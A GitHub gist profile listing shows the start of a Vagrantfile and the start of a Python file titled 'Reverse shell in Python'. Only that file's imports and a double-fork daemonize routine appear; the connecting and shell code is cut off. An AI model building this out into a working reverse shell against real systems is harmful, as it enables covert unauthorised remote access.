Skip to content

Instantly share code, notes, and snippets.

View AfvanMoopen's full-sized avatar
😃
Focusing

Afvan AfvanMoopen

😃
Focusing
View GitHub Profile
@AfvanMoopen
AfvanMoopen / Vagrantfile
Created November 2, 2022 11:35 — forked from louisdorard/Vagrantfile
An example Vagrant file with port forwarding, shared folder between host and guest, and shell script provisioning.
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
# All Vagrant configuration is done here. The most common configuration
# options are documented and commented below. For a complete reference,
# please see the online documentation at vagrantup.com.
# Every Vagrant virtual environment requires a box to build off of.
config.vm.box = "lucid32"
@AfvanMoopen
AfvanMoopen / simple.py
Created August 28, 2021 12:56 — forked from gdamjan/simple.py
Reverse shell in Python
import socket, os, sys
def daemonize():
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit first parent
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit second parent